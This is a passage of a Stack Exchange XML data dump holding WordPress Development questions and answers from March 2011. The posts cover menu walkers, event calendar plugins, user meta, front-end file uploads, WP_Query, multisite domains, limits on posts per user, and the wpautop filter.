  <row Id="12329" PostTypeId="2" ParentId="12326" CreationDate="2011-03-17T22:08:54.507" Score="0" ViewCount="" Body="&lt;p&gt;I'm currently looking into this, but i guess you will have to use a custom Walker...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT:&lt;/em&gt; doesn't help too much: &lt;code&gt;wp_get_nav_menu_items( 'name of the menu, you see in the apearance &amp;gt; menus menu on the upper right' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway you can find in my profile about stuff that's close to what you need, but in your case, i guess, you'll really have to go the hard way and write a completely new Walker (no hooks/filters in there in core).&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-18T00:26:47.503" LastActivityDate="2011-03-18T00:26:47.503" CommentCount="1" />
  <row Id="12330" PostTypeId="2" ParentId="11270" CreationDate="2011-03-17T22:12:53.103" Score="0" ViewCount="" Body="&lt;p&gt;Unfortunately, there's really nothing out there that's going to solve all of your problems out of the box.  Whatever calender solution you choose will require some amount of customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one that I've found fills &lt;em&gt;most&lt;/em&gt; needs is &lt;a href=&quot;http://wordpress.org/extend/plugins/the-events-calendar/&quot; rel=&quot;nofollow&quot;&gt;The Events Calendar&lt;/a&gt;.  It's not perfect, but it's a lot better than many other events calendar plugins out there.  Trust me, I've tried them all.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-03-17T22:12:53.103" CommentCount="1" />
  <row Id="12331" PostTypeId="2" ParentId="11270" CreationDate="2011-03-17T22:21:43.043" Score="1" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://codecanyon.net/item/events-calendar-pro-wordpress-premium-plugin/109301&quot; rel=&quot;nofollow&quot;&gt;Events Calendar Pro&lt;/a&gt; for a project, and have been happy with the results. It uses a custom post type for the events data, and offers a couple of different views for the data (calendar and list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not free, but I thought its additional functionality was worth the nominal cost. &lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2011-03-17T22:21:43.043" CommentCount="1" />
  <row Id="12332" PostTypeId="2" ParentId="9583" CreationDate="2011-03-17T23:12:34.847" Score="0" ViewCount="" Body="&lt;p&gt;There are a host of other options for wordpress on &lt;a href=&quot;http://www.webdesignbooth.com/wordpress-multi-languages-5-plugins-to-built-a-multilingual-website/&quot; rel=&quot;nofollow&quot;&gt;http://www.webdesignbooth.com/wordpress-multi-languages-5-plugins-to-built-a-multilingual-website/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4017" LastActivityDate="2011-03-17T23:12:34.847" />
  <row Id="12333" PostTypeId="2" ParentId="12327" CreationDate="2011-03-18T00:20:50.553" Score="1" ViewCount="" Body="&lt;p&gt;You got the native &lt;code&gt;date( 'Y' );&lt;/code&gt; function that will give you in that case the current year. Combine that with some if/else statement and &lt;code&gt;wp_redirect( $location, $header );&lt;/code&gt;and you're almost finished. It's as easy as using user meta data &lt;code&gt;$current_user&lt;/code&gt; to check and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw: no need to add any extra tables. Just use &lt;code&gt;add_user_meta()&lt;/code&gt;, &lt;code&gt;update_user_meta()&lt;/code&gt; &amp;amp; &lt;code&gt;get_user_meta()&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_userdata&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_userdata&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_user_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_user_meta&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_user_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/update_user_meta&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_user_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_user_meta&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Try to only use a single meta field per user and store your data in there as an array to avoid polluting the table too much.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-18T16:46:27.620" LastActivityDate="2011-03-18T16:46:27.620" CommentCount="6" />
  <row Id="12334" PostTypeId="1" AcceptedAnswerId="12336" CreationDate="2011-03-18T00:30:17.367" Score="0" ViewCount="91" Body="&lt;p&gt;I am looking into updating this template (&lt;a href=&quot;http://templatic.com/demos/answers/?ptype=ask-a-question&quot; rel=&quot;nofollow&quot;&gt;http://templatic.com/demos/answers/?ptype=ask-a-question&lt;/a&gt;) which allows logged in subscribers to post (questions). I would like to add an option to upload a file and attach it to the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of using the media-upload functionality, but I do not want to give users full access to the media library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could this be achieved?&lt;/p&gt;&#xA;" OwnerUserId="2450" LastEditorUserId="2450" LastEditorDisplayName="" LastEditDate="2011-03-18T01:42:46.850" LastActivityDate="2011-03-18T15:13:03.543" Title="How can I to add upload functionality outside of the admin area?" Tags="&lt;posts&gt;&lt;uploads&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12335" PostTypeId="1" AcceptedAnswerId="12367" CreationDate="2011-03-18T00:35:25.010" Score="-1" ViewCount="102" Body="&lt;p&gt;Is it possible to call a list of pages with a specific tag from within a page?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-03-18T11:37:46.257" Title="Display list of posts with x tag within a page?" Tags="&lt;page&gt;&lt;tags&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="12336" PostTypeId="2" ParentId="12334" CreationDate="2011-03-18T01:54:17.283" Score="1" ViewCount="" Body="&lt;p&gt;You won't find much on the Codex or the net about this. Media can seem like a pretty dark art, but everything you're looking for is in &lt;a href=&quot;http://svn.automattic.com/wordpress/tags/3.1/wp-admin/includes/media.php&quot; rel=&quot;nofollow&quot;&gt;/wp-admin/includes/media.php&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function you're looking for is &lt;code&gt;media_handle_sideload()&lt;/code&gt;. You'll have to pass it a &lt;code&gt;$file_array&lt;/code&gt;, which you'll have to read up on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you just make sure your file information is all up to snuff, pass it into this function and it creates something that acts a lot like a regular post and can be manipulated via the media tools and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;custom post querie&lt;/a&gt;s with &lt;code&gt;post_type=attachment&lt;/code&gt; argument.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-03-18T15:13:03.543" LastActivityDate="2011-03-18T15:13:03.543" CommentCount="3" />
  <row Id="12337" PostTypeId="1" CreationDate="2011-03-18T02:02:43.717" Score="0" ViewCount="302" Body="&lt;p&gt;I have post_type 'event' and some regular post within category 'articles'. How do I retrieve recent 5 posts from all of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query result should contain entry from post_type 'event' and post category 'article'. That is, if recent entry contain those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, let's say, 5 recent post_type 'event' is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2011-03-01 11-11-11 event 1&lt;/li&gt;&#xA;&lt;li&gt;2011-03-03 11-11-11 event 2&lt;/li&gt;&#xA;&lt;li&gt;2011-03-06 11-11-11 event 3&lt;/li&gt;&#xA;&lt;li&gt;2011-03-09 11-11-11 event 4&lt;/li&gt;&#xA;&lt;li&gt;2011-03-14 11-11-11 event 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;5 recent post with category 'article' is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2011-03-05 11-11-11 article 1&lt;/li&gt;&#xA;&lt;li&gt;2011-03-08 11-11-11 article 2&lt;/li&gt;&#xA;&lt;li&gt;2011-03-11 11-11-11 article 3&lt;/li&gt;&#xA;&lt;li&gt;2011-03-13 11-11-11 article 4&lt;/li&gt;&#xA;&lt;li&gt;2011-03-17 11-11-11 article 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The resulting query is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2011-03-09 11-11-11 event 4&lt;/li&gt;&#xA;&lt;li&gt;2011-03-11 11-11-11 article 3&lt;/li&gt;&#xA;&lt;li&gt;2011-03-13 11-11-11 article 4&lt;/li&gt;&#xA;&lt;li&gt;2011-03-14 11-11-11 event 5&lt;/li&gt;&#xA;&lt;li&gt;2011-03-17 11-11-11 article 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can I achieve this using only one WP_Query call?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-03-18T02:02:43.717" Title="WP_Query to select custom post_type and posts within certain category" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;wp-query&gt;" CommentCount="1" />
  <row Id="12339" PostTypeId="1" AcceptedAnswerId="12363" CreationDate="2011-03-18T02:55:08.910" Score="2" ViewCount="397" Body="&lt;p&gt;After you have uploaded an attachment in Wordpress using the media upload screen, is there a hook or filter I can run after the image has been uploaded where I can get the path to the uploaded image so I can analyse it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a plugin that will analyse an image after it has been uploaded and then tag the image with the average colour it finds in the image. The only problem is I don't know what hook I can use that will fire right after the image has uploaded and then a way I can get the path to the newly uploaded file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be gratefully appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-29T12:19:50.380" Title="Getting Path To Uploaded Attachment Image After Upload" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;attachments&gt;" AnswerCount="3" />
  <row Id="12340" PostTypeId="1" AcceptedAnswerId="12354" CreationDate="2011-03-18T03:29:53.890" Score="0" ViewCount="144" Body="&lt;p&gt;I am wondering how can I write a conditional tag that affects a custom taxonomy slug and its children?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found this in Wordpress Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_tax( 'flavor', 'mild') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the archive page for the flavor&#xA;  taxonomy with the slug of 'mild' is&#xA;  being displayed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However with this code only 'mild' slug archive page is affected and not it's children taxonomy terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3235" LastActivityDate="2011-04-20T21:59:09.370" Title="Conditional tag affecting taxonomy term and its children?" Tags="&lt;taxonomy&gt;&lt;conditional-content&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="12341" PostTypeId="1" AcceptedAnswerId="12357" CreationDate="2011-03-18T03:48:01.477" Score="1" ViewCount="89" Body="&lt;p&gt;I'm working on a plugin to will retrieve data from a remote server and display it on the Dashboard. To do this, I'll be using the WordPress &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;HTTP API&lt;/a&gt; but I'm not seeing any information on the HTTP API using any form of caching. As I don't want my plugin to cause problems for the admins of the remote server, I was wondering if I missed some documentation about the HTTP API doing caching or if I'll also need to use the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; to implement caching for my plugin?&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-20T15:36:06.003" Title="Does WordPress's HTTP API use any caching?" Tags="&lt;plugin-development&gt;&lt;cache&gt;&lt;api&gt;" AnswerCount="3" />
  <row Id="12342" PostTypeId="1" AcceptedAnswerId="12402" CreationDate="2011-03-18T03:52:50.903" Score="0" ViewCount="88" Body="&lt;p&gt;I am using the MidMo Clean theme and for some reason the 404 error page isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected T_STRING in /home/wpversec/public_html/UXJobsLA.com/wp-content/themes/clean-home/404.php on line 14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://uxjobsla.com/error&quot; rel=&quot;nofollow&quot;&gt;http://uxjobsla.com/error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of me disabling all my plugins and re-installing a out of the box version of the theme, anyone have any ideas please? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-18T17:48:30.210" Title="How to fix 404 page error on theme" Tags="&lt;404-error&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12343" PostTypeId="1" AcceptedAnswerId="12350" CreationDate="2011-03-18T04:27:20.097" Score="7" ViewCount="251" Body="&lt;p&gt;I've been looking into setting up a WordPress network install. Everything has been going pretty smoothly until I get to the point where my desired domain layout doesn't fit well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a layout as follows: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;blog.*.stackexchange.com &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so for example, I would like to have multiple sites in a network that look like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;blog.wordpress.stackexchange.com&lt;br&gt;&#xA;blog.apple.stackexchange.com&lt;br&gt;&#xA;blog.$site.stackexchange.com  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; I could get this working with some creative re-write rules, and manual DNS intervention but I'd rather have a setup where I can hand off the creation of everything but the DNS to someone else (we already have a process for automatically creating all sub-domains needed in DNS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my playing around and reading WP &lt;em&gt;really&lt;/em&gt; wants the sites to be the next level domain, so in my above example, it wants the main WP blog to be at stackexchange.com and the network blogs to be at wordpress.stackexchange.com.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve my desired effect or should I just go the route of doing blog.stackexchange.com/$site ?&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-03-18T17:28:32.200" LastActivityDate="2011-07-28T22:42:09.647" Title="Setting up a wordpress network with third level domains" Tags="&lt;multisite&gt;&lt;network&gt;&lt;domain&gt;&lt;dns&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12344" PostTypeId="1" AcceptedAnswerId="12349" CreationDate="2011-03-18T04:27:44.837" Score="0" ViewCount="143" Body="&lt;p&gt;Is there a way to limit how many pages a user can make inside a custom post type? This would be pretty effective for commercial WP plugins and I am making one, but have come across a little problem and I would need to figure out how to do this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-18T08:31:22.563" Title="Limit Amount of Pages users can create in Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="12345" PostTypeId="1" AcceptedAnswerId="12346" CreationDate="2011-03-18T05:02:15.837" Score="-1" ViewCount="69" Body="&lt;p&gt;I had some code in a template file. When I pasted it from the backend's post panel (HTML tab) as a post, and retrieved it as custom loop, the code didn't output well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding them as posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Lyrics Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;?php // Run main loop (The Loop). ?&amp;gt;&#xA;        &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content0&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;accordions-top&quot;&amp;gt;&#xA;            &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts-&amp;gt;query('category_name=Lyrics'); ?&amp;gt;&#xA;            &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Directly on the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Lyrics Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;?php // Run main loop (The Loop). ?&amp;gt;&#xA;        &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content0&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;accordions-top&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;basic&quot; style=&quot;float:left; margin-left: 2em;&quot; id=&quot;list1e&quot;&amp;gt;&#xA;                        &amp;lt;a&amp;gt;There is one obvious advantage:&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                You've seen it coming!&amp;lt;br/&amp;gt;&#xA;                                Buy now and get nothing for free!&amp;lt;br/&amp;gt;&#xA;&#xA;                                Well, at least no free beer. Perhaps a bear,&amp;lt;br/&amp;gt;&#xA;                                if you can afford it.&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;a&amp;gt;Now that you've got...&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                your bear, you have to admit it!&amp;lt;br/&amp;gt;&#xA;&#xA;                                No, we aren't selling bears.&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;a&amp;gt;Rent one bear, ...&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                get two for three beer.&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                                Period.&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output of the post when I add via admin panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;&#xA;    &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&amp;gt;&#xA;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta name=&quot;generator&quot; content=&#xA;  &quot;HTML Tidy for Linux/x86 (vers 11 February 2007), see www.w3.org&quot; /&amp;gt;&#xA;&#xA;  &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;      &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;accordions-top&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;basic&quot; style=&quot;float:left; margin-left: 2em;&quot; id=&quot;list1e&quot;&amp;gt;&#xA;            &amp;lt;a&amp;gt;There is one obvious advantage:&amp;lt;/a&amp;gt;&#xA;&#xA;            &amp;lt;div&amp;gt;&#xA;              &amp;lt;p&amp;gt;You&amp;amp;rsquo;ve seen it coming!&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              Buy now and get nothing for free!&amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;              &amp;lt;p&amp;gt;Well, at least no free beer. Perhaps a bear,&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              if you can afford it.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a&amp;gt;Now that you&amp;amp;rsquo;ve got&amp;amp;hellip;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;div&amp;gt;&#xA;              &amp;lt;p&amp;gt;your bear, you have to admit it!&amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;              &amp;lt;p&amp;gt;No, we aren&amp;amp;rsquo;t selling bears.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a&amp;gt;Rent one bear, &amp;amp;hellip;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;div&amp;gt;&#xA;              &amp;lt;p&amp;gt;get two for three beer.&amp;lt;/p&amp;gt;&#xA;&#xA;              &amp;lt;p&amp;gt;And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              And now, for something completely different.&amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;              &amp;lt;p&amp;gt;And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              And now, for something completely different.&amp;lt;br /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              Period.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar ==ý--&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-18T05:35:37.867" LastActivityDate="2011-03-18T05:40:10.500" Title="Adding some HTMl code as posts doesn't work but it does if it is added directly in the file?" Tags="&lt;custom-post-types&gt;&lt;html&gt;" AnswerCount="1" />
  <row Id="12346" PostTypeId="2" ParentId="12345" CreationDate="2011-03-18T05:40:10.500" Score="0" ViewCount="" Body="&lt;p&gt;Finally, figured out, I needed this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;remove_filter('the_content', 'wpautop');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-18T05:40:10.500" />
  <row Id="12349" PostTypeId="2" ParentId="12344" CreationDate="2011-03-18T06:48:46.657" Score="1" ViewCount="" Body="&lt;p&gt;Check out my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;Bainternet Posts Creation Limits&lt;/a&gt;&#xA;this plugin helps you to limit the number of posts/pages/custom post types each user can create on your site.&#xA;Its just what you need.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;open up bapl.php and in bapl_limit_post_count function change on line 44:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can('manage_options') ) {}else{ &#xA;            if (isset($postt[$curent_type])){&#xA;                //$postt= bapl_getOptions('bapl');&#xA;                foreach ($postt as $key =&amp;gt; $option){&#xA;                    if ($key = $curent_type) {&#xA;                        $ptname = $key;&#xA;                        $limit = $option;&#xA;                        break;&#xA;                    }&#xA;                }&#xA;                //print_r($postt);&#xA;                $count_posts = count(get_posts(array('author'=&amp;gt;$current_user-&amp;gt;ID,'post_type',$ptname)));&#xA;&#xA;                if ($count_posts &amp;gt;= $limit){&#xA;                    //wp_die( __('You Can\'t Create any more pages of this type.') );&#xA;                    bapl_not_allowed();&#xA;                    exit;&#xA;                }&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if (isset($postt[$curent_type])){&#xA;            foreach ($postt as $key =&amp;gt; $option){&#xA;                if ($key = $curent_type) {&#xA;                    $ptname = $key;&#xA;                    $limit = $option;&#xA;                    break;&#xA;                }&#xA;            }&#xA;            $count_posts = count(get_posts(array('author'=&amp;gt;$current_user-&amp;gt;ID,'post_type',$ptname)));&#xA;&#xA;            if ($count_posts &amp;gt;= $limit){&#xA;&#xA;                bapl_not_allowed();&#xA;                exit;&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way the admin is limited too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you will need to change bapl_getOptions function and set you defaults there.&#xA;And last you will probably wont to remove the admin control panel of this plugin so comment out line 69 were it says :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'bapl_menu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-18T08:31:22.563" LastActivityDate="2011-03-18T08:31:22.563" CommentCount="2" />
